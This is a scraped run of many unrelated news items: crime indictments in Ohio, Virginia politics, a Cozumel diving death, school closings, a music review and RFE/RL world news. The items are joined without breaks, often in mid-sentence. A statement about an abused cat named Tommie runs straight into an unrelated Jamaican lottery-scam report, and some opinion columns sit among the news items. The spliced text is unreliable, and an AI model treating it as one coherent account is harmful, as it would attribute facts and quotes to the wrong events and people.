The seniors are Andrea Jerausek, Brennon McBee, Tripat Panesar, Ethan Harris, Joanne Wang and Nabeel Raza. Titled Go Baby Go, the three-month project was led by Burton Center engineering director Susheela Shanta, and made possible through a grant from the Roanoke County Public Schools Education Foundation.

The project required a significant amount of rewiring and work to the exterior and interior of the toy cars. Tasks included replacing a steering wheel with a joystick, modifying the base frame of a vehicle to lower the height of the door opening and redesigning a new seat to add more safety measures.

The student recipients, Bria Shupe, Charlie Selestin and Adelynn Bond, can use them at home or at school. They met with the engineering students last week at the Burton Center to receive the vehicles.

The seniors plan to create a manual so others can replicate the process, according to the school.American woman dies diving at Cozumel

Cozumel, Q.R.  An American woman has reportedly died while diving at a beach club in the south hotel zone of Cozumel.

Paramedics from a private clinic responded to a call from the Nachi-Cocom Beach Club after a woman was reported in critical condition. However, when medical personnel arrived, they found the woman was without vital signs.

The dive instructor from the group identified only as S.C., said that the American woman, identified as 68-year-old N.T. from New York, suffered complications while diving. When she realized the woman was having problems, emergency medical support was requested, but it was too late.

Paramedics reported the death to C4 who sent the Forensic Medical Service unit as well as members of the State Attorney Generals Office (FGE) to assist.American man extradited on charges of ammunition trafficking

Ciudad Juarez, Chihuahua  An American fugitive wanted for criminal association and ammunition trafficking has been arrested in Ciudad Juarez.

According to the General Prosecutors Office of the Republic, la Policia Federal Ministerial along with Interpol have detained Erick M in Cuidad Juarez who is an alleged ammunition trafficker being extradited back to the United States.

The Office reports that pursuant to the Extradition Treaty signed between Mexico and the United States, elements of the Federal Ministerial Police completed a formal arrest warrant of extradition issued by a District Judge against Erik M, who was considered a fugitive sought by US authorities.

The accused is required to be tried before the Federal Court in the District of Colorado for the crimes of criminal association and smuggling of ammunition, the Attorney General said in a statement.The central Virginia forecast has a wintry look to it in the days ahead.

Squint at the weather maps and you can make out the ingredients for a hefty snowfall on the horizon.

Take another glance, and its just a cold rain like we saw on Tuesday, or some kind of wintry mix.

Now, make it three systems instead of one.

Nobody said February forecasting was easy.

The prospects for ice and snow are murky over the next week, but the big picture is still fairly clear.

Mild 60s will return to the area on Thursday and Friday, but dont expect it to last.

Expect it to turn cooler from the upcoming weekend into next week.

Its not turning brutally cold  were generally looking at 20s or 30s at night and 30s or 40s during the day  but that may be just cold enough for a round or two of some frozen precipitation.

A parade of low pressure systems scooting across the Southeast between Saturday and Wednesday will keep our weather active and unsettled.

The big question marks are: the path of each low and the temperatures they will encounter in Virginia.There have been two confirmed abortions performed during the third trimester of pregnancy in the state since 2000, according to Virginia Department of Health data. The last recorded third-trimester abortion was in 2004 and the other was in 2001.

The issue has attracted national attention after a video went viral of Del. Kathy Tran, D-Fairfax, acknowledging that her bill would allow late-term abortions as long as one doctor certifies that the pregnancy threatens a womans physical or mental health.

Under current state law, a licensed physician can perform an abortion for any reason up until the third trimester, so long as the woman is offered certain information about abortion and alternatives and is shown an ultrasound.

Of the 43 states that have laws restricting abortion by how far along the pregnancy is, Virginias cutoff at the third trimester is the latest, according to information from the Guttmacher Institute, a research group that supports abortion rights. Most other states restrict abortion after 20-24 weeks of pregnancy, with some states including an exception in cases of fetal abnormality or rape or incest, the group found.Copyright 1995 - . All rights reserved. The content (including but not limited to text, photo, multimedia information, etc) published in this site belongs to China Daily Information Co (CDIC). Without written authorization from CDIC, such content shall not be republished or used in any form. Note: Browsers with 1024*768 or higher resolution are suggested for this site.

0108263 License for publishing multimedia online



Registration Number: 130349 Registration Number: 130349CNBC reports the plan aimed to have the U.S. creating net-zero greenhouse gases in 10 years, lawmakers explaining: We set a goal to get to net-zero, rather than zero emissions, in 10 years because we arent sure that well be able to fully get rid of farting cows and airplanes that fast.

Question. Since there are more humans than cows, shouldnt the deal have included human flatulence, along with information on how they intend to control that?

Ocasio-Cortez was quick to backtrack.

At the time this story was published, writes CNBC, the FAQ page with the phrase farting cows appeared to have been removed from Ocasio-Cortezs website. Fox News John Roberts reported that the language was tweaked to emissions from cows in an update, which also appears to have been deleted.

In separate interviews, Ocasio-Cortez first admitted her proposal would require massive government intervention, but later reversed herself, claiming it is the right wing that is mischaracterizing her proposal about more government intrusion into our lives.

The left is completely transparent now. In the words of Barack Obama, they do plan to fundamentally transform the United States of America.Within weeks, the top general in Syria reports that U.S. ground troops will be getting out of that war-torn country. About 2,000 of our men and women are stationed there today, and we hope that some of them get to come home. President Trump, who announced the withdrawal in December, has expressed doubt about whether we should presume to be the policeman of the Middle East, which strikes us as an eminently sensible position.

Were not sure how the president reached this conclusion, but we are nonetheless encouraged that he did. Whether, as he has claimed, ISIS in Syria has been defeated is questionable though.

Even so, were not sure that the terrorist groups eradication, or lack thereof, in any given country should be determining our foreign policy. Others, of course, disagree. Whats equally troubling, however, is the extent to which  at least among Democrats  what might be considered the obverse of Trump Derangement Syndrome is driving all of their policy positions.

House Speaker Nancy Pelosi has called the announcement of a pullout from Syria a Christmas present to Vladimir Putin, and her colleagues in the House and Senate have voted against any precipitous withdrawal not just from Syria but Afghanistan, too.She ultimately testified before the Diocesan Review Board, a group of mostly laypeople who deliberate on sexual abuse accusations within the church under the bishops supervision, and was found to be credible.

Over time, Ianni was able to find healing through connecting with other survivors and became a leader for SNAP. Since she has taken on the leadership role, hundreds of people who have been abused by clergy have reached out to her, she said.

Reached by phone Wednesday, Eugene Teslovic, one of the men named on the Richmond Dioceses list, denied having sexually assaulted a minor. Also reached by phone, Christopher Buckner, who was accused in 2007 and came to a mutual agreement with the diocese to retire in 2018, according to the diocese, said he had no comment. Attempts by the Richmond Times-Dispatch to reach other men named on the list were unsuccessful.

None of the names on the Diocese of Richmonds list appeared on the Virginia State Polices sex offender registry, nor in any lawsuits in U.S. District Court. The only name on the list to appear in a search for convictions in Richmond or the counties of Chesterfield, Henrico, Hanover, Goochland and Powhatan was John Leonards.It remains to be seen whether the House of Delegates has the appetite and the authority for an investigation of its own.

House Minority Leader Eileen Filler-Corn, D-Fairfax, said Wednesday that she and her colleagues believe survivors and want them to be heard. But shes not sure the legislature is the right venue for it.

I think as a body we need to seriously contemplate whether we have the ability to conduct such a hearing, whether thats our job, whose job it is, Filler-Corn said. And again, we have so much business that were currently trying to accomplish within the last nine days.

The legislative session is scheduled to end Feb. 23.

Fairfax defenders

Fairfax faced resounding calls to resign after Watson came forward Friday evening. But its become clear he has some defenders who are wary of a rush to judgment.

A group of Richmond-area civil rights leaders and pastors rallied around Fairfax on Wednesday and rebuked Democrats, including African-American legislators, for pushing the lieutenant governor to resign before he can fully defend himself from the accusations.Pleas for leniency and praise for Purpera from friends, family and patients ran 37 pages. If it hadnt been for Dr. Purpera taking the time to listen to me and actually doing the ultrasound on my legs to find the root of my leg problems. I dont know what Id done if I could no longer do some of my favorite activities, wrote patient Bobbie Kurz. But the jury, which heard evidence gathered by the Drug Enforcement Administration, found Purpera responsible for false entries on forms required by his primary drug distributor, Henry Schein Inc.

Purpera had come up on the DEAs radar as a large medication purchaser. He obtained more oxycodone pills from wholesale distributors than any other doctor in the Roanoke and New River valleys in 2015 and was the regions second-leading purchaser of oxycodone in 2016 through late summer, the government has said. When called to account for its use, he couldnt, prosecutors said.

U.S. District Judge Elizabeth Dillon told Purpera that, although there is evidence some of the illegally obtained drugs went to his wife, others are unaccounted for.

The pair of black handcuffs in which Purpera left court were applied by a deputy U.S. marshal after Dillon cut off further protestations by Purperas attorney, who claimed he had given Purpera bad legal advice about the Las Vegas trip.Im so very sorry to share that Tommie just passed away. He had just finished having his bandages changed and stopped breathing; his body simply gave out. Tommie was pain free and surrounded by people that loved him when he passed. Needless to say, we are all devastated and angry and sad and terribly disappointed. I want to say thank you to everyone at Virginia Veterinary Centersand the VCU Evans-Haynes Burn Center for loving Tommie and fighting so hard to save him. We remain steadfast in our dedication to find the person now responsible for Tommies death. The REWARD for information leading to the successful arrest and conviction of the person/s has risen to $25,000. This increase is a result of your individual donations and is joined by pledges from our partners and friends at The Humane Society of the United States, the Cathy Kangas Foundation for Animals and the Humane Rescue Alliance. Im so very sorry that we couldnt save Tommie but Im confident that we did everything we possibly could and that he felt true love and compassion for the time that he was in our care. We remain #teamtommie Victims are instructed to send money in the form of cash, money orders and checks by U.S. Postal Service express mail, FedEx or UPS. Victims also have wired money through Western Union and MoneyGram.

The middlemen then use the same means to transfer the money to Jamaica.

Shmidt first came to the attention of authorities in October 2016 when the U.S. Postal Inspectors Office received information that he was involved in a fraudulent sweepstakes scheme. The information was predicated on a complaint by a concerned citizen and a 90-year-old male victim from Pawnee Rock, Kansas, the affidavit says.

After being told he was a sweepstakes winner, the victim sent two checks totaling $46,500 to Shmidt at his Powhatan address.

Further investigation revealed that three other elderly victims  two from Arizona and one from Pennsylvania  sent money to Shmidt totaling $56,349, according to the affidavit.

U.S. Postal Inspector A.L. Dalton then interviewed Shmidt at his home, and he acknowledged receiving the money in question and depositing the funds into his personal account. But Shmidt said due to his age and poor health, he could not recall what the money was spent on or where it went, the affidavit says.Joe Morrissey, the former Democratic state delegate and Richmond mayoral candidate, said he may challenge a Democratic incumbent for a seat in the Virginia Senate this fall.

Morrissey said in an interview that he had begun knocking on doors and handing out literature in the Fulton neighborhood as a part of his exploration for a run in the 16th Senate District, which includes part of Richmond, Chesterfield County, Hopewell and Petersburg.

I intend to go from Fulton and start moving south, Morrissey said. He also said he had purchased a home on North 22nd Street in Church Hill, within the districts boundaries, in case he ultimately decides to run.

Sen. Rosalyn Dance, D-Petersburg, has represented the district since 2014. Her office declined comment.

Morrissey, a former Richmond commonwealths attorney, ran against Dance as an independent in the district back in 2015. A few months before Election Day, he dropped out of the contest, citing medical reasons. His name still appeared on the ballot.

Dance received 74 percent of the vote. Morrissey received 26 percent.Lillies life does not end here. Just know that, said her friend, Jenise Justice. It lives on through all of us. And we all have a responsibility, whether we want it or not.

Maya Rockeymoore, chairwoman of the Maryland Democratic Party and the president of Global Policy Solutions, a Washington-based firm, quoted the West Indian philosopher Frantz Fanon in saying the oppressed will always believe the worst about themselves.

Well, Lillies life and work was laser-focused on how to build the esteem and capacity of those who had been beaten down by systemic racism, classism, sexism, homophobia, social exclusion, Rockeymoore said.

How to get the oppressed to believe the best of themselves and their communities was what Lillie was all about, and making that work in the way that resulted in resistance, renewal and transformation. And how to get those in power to see their success as being synonymous with success of marginalized communities.

Estes, without fanfare, gained a national reputation as a voice for the empowerment of public housing residents. She had a longtime collaboration with the Charles Hamilton Houston Institute for Race and Justice at Harvard University.This years contestants were Bateson, Jasper, Jordan Berry, Harry Hayden, Joshua Jordan, Collin Lawson, Jordan Markland, Trey Moore, Ray Pleasants, Benjamin Wojcicki, and Andrew Worthington.

Several of the contestants competed in the first year of the pageant and eagerly returned to join with some newcomers in the fight against cancer. Miller said organizers always stressed that as the main purpose of the pageant, both to the contestants and the audience.

When it is all about fighting cancer, I think everybody in the audience has some person in their minds that they can think about who is affected by cancer, and that is the reason they came, Miller said. There are ways to fight cancer that are pretty somber and sacred. But this is a fun way that we can give our loved ones the attention and honor that they deserve.

Bateson said he initially hesitated to participate but was motivated because one of his favorite teachers is going through chemotherapy and he wanted to help.

The contestants started the show with a group dance choreographed by Anna Causey, who directed the show and has been working hard with other organizers on the project since October 2018, Miller said. While she stayed behind the scenes, Danielle Bigham and Lily Nelms stepped out to emcee the show.If it's up, then it's up, then it's up, then it's stuck  in your head. Say what you will about Cardi B, but she knows how to make hits that breathe their own air and make their own space in the culture, and she's got no problem releasing them one at a time (see last summer's "WAP"), album cycles be damned. "Up" is catchy, colorful and motivational, and works just as well in the background at a summer cookout (depending on who's around, you may want to opt for the clean version) or at the gym. (Explicit lyrics, to say the least.)School Name Status Buckeye Central Schools Not Reported Bucyrus City Schools Not Reported Clear Fork Christian Preschool Closed Clear Fork Valley Local Schools Closed Colonel Crawford Schools Not Reported Crestline Village Schools Not Reported Crestview School District Not Reported Discovery School Not Reported Fairway School Not Reported Foundation Academy of Mansfield Closed Galion City Schools Not Reported Heartland Academy 2-hour delay IMAC Closed Lexington Child Development Center Not Reported Lexington Local Schools 2-hour delay Lucas Local Schools Not Reported Madison Adult Education Not Reported Madison Local Schools Not Reported Mansfield 1st EPC Preschool Not Reported Mansfield Christian School Not Reported Mansfield City Schools Closed Mansfield Seventh-Day Adventist School Closed Northmor Local Schools Not Reported Ohio Heartland Headstart Not Reported OSU-Mansfield/NCSC campus Not Reported Ontario Local Schools Not Reported Pioneer Career & Technology Center Not Reported Plymouth-Shiloh Local Schools Not Reported Richland School of Academic Arts Closed Richland Newhope Not Reported Sacred Heart School - Shelby Not Reported Shelby City Schools Not Reported St. Joseph's School - Crestline Not Reported St. Joseph's School - Galion Not Reported St. Marys School - Mansfield Not Reported St. Marys School - Shelby Not Reported St. Peter's School - Mansfield Not Reported Sullivan Head Start Not Reported Temple Christian School Not Reported Trinity Shining Lights Preschool - Shelby Not Reported Valley View Christian Preschool Not Reported

School closings in and around Richland and Crawford Counties can be seen here. To view closings and delays in Ashland, visit ashlandsource.com, and if interested in closings and delays in Knox County, visit knoxpages.com.MANSFIELD -- A 24-year-old Mansfield man was indicted for attempted murder by a Richland County grand jury in January, according to Richland County Prosecutor Gary Bishop.

Bishop reviewed the recent indictments on Wednesday with local media.

Shameek Price, 24, of Mansfield, was indicted on charges of attempted murder and various gun charges stemming from an Oct. 2, 2018, incident, according to Bishop.

Bishop said Price and the 22-year-old male victim were driving, in separate cars, on North Trimble Road near the intersection with Park Avenue West.

"Between 1:30 and 1:45 p.m., the victim was shot in the hip as the the victim's car was stopped alongside (Price's vehicle)," the prosecutor said.

Price is charged with attempted murder, firearm specification, felonious assault (two counts), two firearm specifications, discharge of firearm at or near a prohibited area (two counts), two firearm specifications and having weapons while under disability.

Other indictments included Delbert Eugene Matthews II, 46, charged with rape, kidnapping and two counts of abduction.

"He is accused of kidnapping a woman by pulling her hair and restraining her and forcibly raping her," Bishop said.

Bishop said Matthews, a Seminole Avenue resident, did not release his victim in a safe place unharmed.

"Both of those two things have to be met in order for it to be a lesser degree of kidnapping," he said. "We're alleging he did not."

Ryan Satir, 38, of Bellville, was indicted on charges of pandering obscenity involving a minor (five counts), pandering sexually oriented material involving a minor (four counts) and illegal use of a minor in nudity material (five counts).

Bishop said Bellville police worked with the FBI and Child Exploitation Task Force on the case.

"It's alleged that (Satir) had a quantity of sexually explicit materials depicting minors engaging in sexual activity, or what we refer to as child pornography," Bishop said.

Kory Eugene Baugh, 28, of Mansfield, was indicted for involuntary manslaughter, endangering children and reckless homicide.

The charges stem from the 2018 death of 18-month-old Zamien Scott, who died at Nationwide Children's Hospital.

Bishop said the child suffered injuries to while under Baugh's care.

"It's alleged to be blunt-force head trauma," Bishop said, "involving rapid acceleration and deceleration of the head, which forces the brain to move around the skull and is often times fatal."MANSFIELD -- An abduction in Mansfield ended with a fatal crash on Home Road and the destruction of approximately a half-dozen vehicles at Graham Automall just before Wednesday at 3 a.m.

Ontario police received a call from 909 Landings Court, located in an apartment complex near the intersection of Home Road and Walker Lake Road, about a disturbance between two males.

Ontario Police Chief Tommy Hill said a witness told the department she and Donald Cheatam, 42, were involved in an altercation in Mansfield and he forced her into her vehicle and made her drive to Landings Court.

Once there, she got out of the vehicle, a white Hyundai. Her fiance and Cheatam got into an argument, Hill said. Cheatam apparently drove off from Landings Court in the Hyundai. That's when the witness called Ontario police, claiming unauthorized use of her vehicle.

An Ontario officer saw the Hyundai and registered it gaining speed above 70 miles per hour as it passed.

"The officer didn't know who he was," Hill said. "But I think he knew he was in trouble. By the time officers got to Home Road, he had crashed."

The vehicle lost control and struck several parked vehicles at Graham Automall and a utility pole south of West Fourth Street after running a red light.

The Hyundai flipped upside down and Cheatam was ejected, soon after the vehicle caught fire, Hill said.

Ontario police extinguished the fire and provided care for the victim until EMS arrived, Hill said.

Because the crash took place in Mansfield, the investigation is being handled by Mansfield police and the Ohio State Highway Patrol. Mansfield police Capt. Shari Robertson said the investigation is ongoing.

"It's still in preliminary stages, and there's not much I can tell you," Robertson Wednesday morning.

North Home Road between West Fourth Street and Nussbaum Parkway remained closed late Wednesday morning.

Ohio Edison employees at the scene were battling the cold as they worked to replace a utility pole destroyed in the crash. They said power remained out at several businesses in the area.CRESTWOOD, Kentucky -- The Mansfield man who abducted a woman from The Ohio State University-Mansfield campus on Monday shot and killed his victim before authorities shot him to death, according to Kentucky State Police Commissioner Rick Perry.

A KSP spokesman told Richland Source on Wednesday afternoon that none of the bullets fired by authorities struck Skylar Williams, 20, late Monday afternoon. The autopsy showed a bullet from Pounds' hand gun in her body.

The spokesman said a KSP trooper killed Ty'Rell Pounds, 24, who had allegedly abducted Williams at gunpoint several hours earlier.

Pounds and Williams had reportedly been involved in a custody battle, and a paternity case had been filed within the Richland County court system.

At approximately 3:24 p.m. on Monday, Kentucky State Police Post 5 dispatch was contacted by Gallatin County dispatch in reference to a 911 call from a witness, stating a distressed female was observed at a gas station and was forced into a vehicle by a male.

The 911 caller said the female was asking for help and that the vehicle then sped off traveling towards Interstate 71 southbound. Troopers from Post 5 were dispatched to attempt to locate the vehicle, which was described as a dark colored Dodge Caravan with a Quebec registration plate.

After a lengthy pursuit - including a failed traffic stop and the unsuccessful use of stop sticks - Kentucky troopers were joined by the Oldham County Police Department and the Oldham County Sheriff's Office. Units from these agencies positioned themselves at the Pee Wee Valley exit ramp.

Pounds, the driver of the vehicle, crossed Highway 329 in Oldham County attempting to re-enter the interstate. Due to public safety concerns, the primary Kentucky State Police unit performed a legal intervention stop to prevent Pounds' vehicle from re-entering the highway. The vehicle came to a rest on the ramp, and a trooper attempted to apprehend the subject, leading to the gunshots.MEDINA  Ohio Attorney General Dave Yost joined Medina County Prosecutor Forrest Thompson and local law enforcement Wednesday, discussing their teamwork to revive a rape cold case and bring justice for its survivor.

The rape occurred in 1997 and, as of a couple months ago, the case was still unsolved. With the technical assistance of the Ohio Attorney Generals Bureau of Criminal Investigation (BCI) along with years of intelligence work, a positive DNA confirmation was recently made. This allowed the Medina County Sheriffs Office to extradite Samuel W. Legg III from Arizona.

Our job is to help local law enforcement in whatever way possible to get bad guys off the street, Yost said. This is a textbook case of all partners involved doing their very best each day to bring justice on behalf of a victim. Thanks to the diligent work of the Medina County Sheriffs Office, this suspect was returned to Ohio to face justice.

Medina County Sheriffs Office Detective Kevin Ross and Thompson flew to Arizona to bring the suspect back before indicting him on Jan. 28, 2019, on two counts of rape. Legg will be arraigned Feb. 14 in front of Medina County Common Pleas Judge Joyce Kimbler at 9 a.m.

This has been a total team effort from the top down, Medina County Sheriff Tom Miller said. This investigation highlights the best in law enforcement cooperation as none of this would be possible without the work of all of us.

The DNA match not only was confirmation of the 1997 rape, but is also linked to four homicides. Details of those cases are not available as indictments have not yet been made.

This case illustrates that the advancements in science, particularly with DNA testing, in conjunction with the increasing education of law enforcement in learning how to apply these advancements in the field has allowed us to find justice for victims of crime where it may have been lost in the past, Thompson said.The United States has indicated it does not support Armenia's participation in a Russia-backed mission in war-ravaged Syria, where Yerevan has dispatched demining experts and other personnel.

Armenia announced this month it had sent a team of dozens of mine-clearing sappers, medical personnel, and security officers to Syria to carry out "humanitarian activities" such as demining and providing medical assistance in the northern city of Aleppo, which had a large ethnic Armenian population before the war. h

"We recognize the desire of other nations to respond to the humanitarian situation in Syria, and we share the concerns about protecting religious minorities in the Middle East," the U.S. Embassy said in a statement sent to RFE/RL on February 13. Most ethnic Armenians are Christians, while Syria is mainly Muslim.

"However, we do not support any engagement with Syrian military forces, whether that engagement is to provide assistance to civilians or is military in nature," the statement said.

"Nor do we support any cooperation between Armenia and Russia for this mission," it added, saying that Russia had "partnered with" President Bashar al-Assad's government "to slaughter civilians and trigger a humanitarian catastrophe" and "continues to protect the Assad regime and its atrocities on [the] global stage."

Russia has given Assad crucial military and diplomatic backing throughout the nearly eight-year war in Syria, which began with a government crackdown on protesters in March 2011. The conflict has killed hundreds of thousands of people and displaced millions.

Russia is to provide logistical support to the Armenian mission, which Yerevan said would be carried out "exclusively outside the zone of combat operations."

On February 12, however, Armenian Defense Minister Davit Tonoyan said that "if it's necessary to participate in hostilities as well, the Republic of Armenia will do that within the letter of the law."

Prime Minister Nikol Pashinian seemed to cast doubt on that, saying on February 13 that he was unaware of the defense minister's remark and that there were no plans for Armenian personnel to take part in any combat operations.

Yerevan has traditionally had close ties with Moscow, and Russia has a large military base in Armenia. The South Caucasus country is a member of security and economic groupings that link some of the former Soviet republics and are dominated by Russia.A top UN official said the negotiations aimed at implementing the 2015 Minsk accords and ending the conflict in eastern Ukraine have lost momentum.



Assistant Secretary-General Miroslav Jenca made the comment in a speech before the UN Security Council on February 12, at an event marking the fourth anniversary of the accords.



Jenca said negotiations "appear to have lost momentum" and that neither Russia nor Ukraine appear to be willing to agree on key steps forward.



The conflict, which erupted in 2014 at around the same time that Russia annexed Ukraine's Crimea Peninsula, has killed more than 10,000 people and displaced more than 1 million.



The fighting pits Ukrainian government troops and allied militias against fighters that Western officials say have been funded and equipped by Russian military units.

Signed roughly a year after full-scale fighting erupted, the Minsk accords laid out a blueprint of political steps, including elections, that would end the conflict.



Both Russia and Ukraine have blamed each other for the failure to implement the agreement.



The United States was not directly involved in the Minsk negotiations but has had a special envoy dedicated to resolving the fighting. That envoy, Kurt Volker, said in a post on Twitter that Russia continued to violate the agreement.



"In the four years since [Minsk], Russia has continued to violate the Minsk agreements every day. It's time for Peace for Ukraine," he wrote.



Russia's UN envoy, meanwhile, accused the West of using Ukraine as a pawn in a geopolitical chess game.



"Unfortunately, it is obvious to us that the West is not interested in Ukraine itself, in its fate and well-being of its citizens," Vasily Nebenzya was quoted by the state news agency TASS as saying. "For them, this country is a mere pawn in the geopolitical confrontation with Russia."



The five current European Union members on the Security Council issued a joint statement accusing Russia of continuing to fuel the conflict.



"We call on Russia to immediately stop fueling the conflict by providing financial and military support to armed foundations," the statement said.

With reporting by AP, TASS

The International Court of Justice (ICJ) has affirmed its jurisdiction to hear a case brought by Iran to recover billions of dollars in assets that are frozen in the United States.

The court ruling was in response to a motion by the United States for the court to throw out the claim by Iran to recover some $2 billion in bank assets seized by U.S. courts.

ICJ chief Judge Abdulqawi Ahmad Yusuf said the court "unanimously rejects the preliminary objections to admissibility raised by the United States of America."

The lawsuit was filed with the UN high court at The Hague by Iranian officials on October 8. Tehran is seeking to regain funds that were impounded during the 1979 Islamic Revolution in Iran.

The U.S. Supreme Court ruled in 2016 that the funds must be turned over to American families of victims of alleged Iranian terrorist attacks, including the 1983 bombing of a U.S. Marine barracks in Beirut, in which 241 soldiers were killed, and the 1996 Khobar Towers bombing in Saudi Arabia.

"The actions at the root of this case center on Iran's support for international terrorism," which should disqualify it from presenting a case before the court, Richard Visek, legal adviser to the U.S. Department of State, told the court.

"Iran comes to the court with unclean hands. Indeed, it is a remarkable show of bad faith," he said. "Iran's bad acts include support for terrorist bombings, assassinations, kidnappings, and airline hijackings."

The current Iranian case before the UN high court is separate from Iran's lawsuit against U.S. economic sanctions, which the court decided in Iran's favor last week.

Like the sanctions case, Iran is basing its claim to recover impounded funds on a 1955 Amity Treaty with the United States, which was signed 24 years before its Islamic Revolution.

Washington announced last week it would withdraw from the treaty, but it could take up to a year for that withdrawal to take effect.

With reporting by AFP and ReutersThe U.S. Justice Department has indicted a former U.S. Air Force intelligence officer for aiding Iran in what Washington says was a cyberespionage operation targeting U.S. intelligence officers.

The indictment said Monica Witt exposed a U.S. agent and helped Iran's Revolutionary Guards develop cybertargets in the U.S. military after defecting to Iran in 2013.

U.S. officials said Witt, who worked for years in U.S. Air Force counterintelligence, had an "ideological" turn against her country.

As part of its action on February 13, the United States also charged four Iranian nationals who it said were involved in the cyberattacks.

It also sanctioned two Iran-based companies: New Horizon Organization and Net Peygard Samavat Company.

The U.S. Treasury said Net Peygard targeted current and former U.S. government and military personnel with a malicious cybercampaign, while New Horizon had staged international gatherings to back efforts by the Islamic Revolutionary Guards Corps' Quds Force to recruit and collect intelligence from foreign participants.

Witt herself was recruited by Iran after attending two international conferences organized by New Horizon, U.S. officials said.

They said Witt served as a counterintelligence officer in the air force from 1997 until 2008, and worked as contractor for two years after that.

At least one of those New Horizon conferences was organized by Iranian-American journalist Marzieh Hashemi, who was detained by U.S. officials last month as a material witness in a federal criminal case, the Tehran Times newspaper reported.

Hashemi, who was released on January 23, returned to Tehran on January 30.

Her detention, which began on January 13, had concerned international journalist watchdogs and angered Tehran, which said she was being illegally held and called for her immediate release.

With reporting by Reuters, AFP, AP, and BBCThe Committee to Protect Journalists (CPJ) has called on the Belarusian authorities to end their harassment of the editor in chief of Belarus's largest independent news site.



Maryna Zolatava appeared in court in Minsk on February 12 on charges that her publication, the website Tut.by, illegally obtained information from a state-run news agency.



Zolatava, who was greeted with applause and supportive chants from journalists and others as she entered the courtroom for the preliminary hearing, told the court she is innocent.



The case has raised concerns by media watchdogs and human rights organizations, which have warned about persistent and growing press restrictions under longtime President Alyaksandr Lukashenka.



Belarusian authorities should immediately drop all charges" against Zolatava and "stop harassing the country's independent media," said CPJ Europe and Central Asia Program Coordinator Gulnoza Said.



"The raid on Tut.by and criminal charges brought against Zolatava show Belarus is looking for excuses to intimidate and persecute independent and critical media," she said in a statement.



The charges against Zolatava relate to a raid on Tut.by's Minsk offices in August, along with that of two other outlets, BelaPan and Belarusskaya Nauka. Several reporters and employees, including Zolatava, were detained.



The Belarusian Investigative Committee claimed that employees of the three news outlets used accounts and passwords other than their own to access the paid subscriber section of BelTA, the state-run news agency.



Fifteen people faced charges, but all except for Zolatava had their charges dropped after paying administrative fines and damages.



Zolatava, meanwhile, was hit with new charges of "official inaction," a charge comparable to negligence.



The case raises concerns of growing press restrictions in Belarus including through amendments to media laws that may lead to further censorship, according to the CPJ.NATO Secretary-General Jens Stoltenberg has said the alliance is studying a "wide range of options" to deal with alleged Russian violations of a major arms-control agreement, while U.S. Secretary of State Mike Pompeo has accused Moscow of wanting to "dominate" Europe.

Stoltenberg was speaking on February 13 at NATO headquarters in Brussels, where the alliance's defense ministers were discussing what to do if the bilateral 1987 Intermediate-Range Nuclear Forces (INF) Treaty between Washington and Moscow is abandoned -- as now appears almost certain.

"This is very serious. We will take our time," Stoltenberg said, adding that NATO's response "will be measured and it will be defensive because we don't want a new arms race."

In Warsaw, Pompeo accused Russia of having "grand designs of dominating Europe and reasserting its influence on the world stage."

He added that Russian President Vladimir Putin "seeks to splinter the NATO alliance, weaken the United States, and disrupt Western democracies."

On February 2, the United States launched the six-month process of leaving the INF Treaty after Washington and NATO repeatedly accused Moscow of violating the accord by developing the 9M729 cruise missile, also known as the SSC-8.

Russia, which denies the accusation, said it was also withdrawing from the INF Treaty, which banned both countries from developing, producing, and deploying ground-launched cruise or ballistic missiles with ranges between 500 and 5,500 kilometers.

U.S. officials have said Russia could save the INF by returning to compliance, but Moscow made clear it had no plans to scrap the 9M729.

Although Stoltenberg said that NATO had a range of options, he also reiterated that NATO allies "don't have any intention to deploy new nuclear land-based weapon systems in Europe."

On February 12, the NATO chief said that Moscow "continues to develop and deploy several battalions of the SSC-8 missile."

German Defense Minister Ursula von der Leyen did not rule out any form of defense capability, including nuclear weapons, in response to the threat of Russian nuclear-capable missiles.

"Precisely because we are at the start of the discussion, it is important that we do not start creating hierarchies or take out individual points but really leave the full lineup on the table," von der Leyen said ahead of the talks with her NATO counterparts.

British Defense Secretary Gavin Williamson said that NATO needed to put "all efforts to ensuring that Russia comes into compliance" with the INF Treaty.

"There is still a period of six months where they can have the opportunity to do so," Williamson said. "But we then have to keep all options open as to how best to deal with this threat in the future."

Stoltenberg announced that he will hold talks with Russian Foreign Minister Sergei Lavrov at the annual Munich Security Conference, which starts on February 15.

"I think it is important to have dialogue with Russia especially when we face so many difficult issues as we face today," the NATO chief said.

U.S. Vice President Mike Pence, meanwhile, announced that Poland had agreed to buy $414 million worth of mobile rocket launchers from the United States.

Pence -- in Warsaw, where he and Pompeo headlined a conference on security issues in the Middle East -- said the deal meant that "Poland is taking its place among the most capable and formidable nations in the world."

Pence also confirmed that "our two countries are discussing the parameters for an increased United States military presence in Poland," without providing details. Poland has requested that the United States establish a permanent military base in Poland.

With reporting by AP, AFP, and dpaNASA is by far the best-funded space agency in the world. Here are other space programs with hefty budgets.Russia's Justice Ministry has labeled a well-known human rights group a "foreign agent" for the second time.

The ministry said that the For Human Rights group led by veteran rights activist Lev Ponomaryov had been added to the registry of foreign agents as a result of an inspection of the group's activities.

Ponomaryov wrote on his blog in December that the Justice Ministry had launched an unannounced inspection of the group 's activities.

The inspection was launched a day after Ponomaryov was found guilty of organizing an unauthorized protest via the Internet and sentenced to 25 days in jail.

Investigators said Ponomaryov used his Facebook account to organize an October 28 demonstration in support of New Greatness and Network, two youth activist groups that Russian authorities accuse of extremism.

The jail term was later cut to 16 days.

Supporters and Kremlin critics condemned the 77-year-old activist's detainment, and called for his release.

Ponomaryov's group was initially labeled a foreign agent in December 2014. After the group refused to register as a foreign agent it was fined 300,000 rubles ($4,500).

A year later, the Justice Ministry annulled the group's foreign-agent status.

With reporting by Dozhd and TASSA Russian anticorruption activist has died after being attacked by masked assailants wielding bats, colleagues and law enforcement authorities say.



A man was severely beaten late in the evening on February 11 in the village of Vingradovo and died in the hospital hours later, the Investigative Committee said.



A colleague identified the victim as Dmitry Gribov, leader of a branch of the Center for Action Against Corruption in the Moscow Oblast, which surrounds the capital.



Viktor Kostromin, chief of the NGO's Moscow branch, said he believes Gribov was attacked because of his efforts to fight corruption.



"I consider the crime to be connected to Gribov's public and anticorruption activities," Kostromin said.



He said that hours before the attack, Gribov had attended a hearing at a local court that has been handling a case involving a previous attack on the activist.



Four years ago, unidentified assailants attacked Gribov and burned his car, Kostromin said.



Activists and journalists who seek to uncover corruption among Russian authorities at all levels face major risks. Many have been attacked and maimed or killed.



The Investigative Committee said it opened an investigation on suspicion of "the premeditated infliction of serious harm to a person's health, causing death."

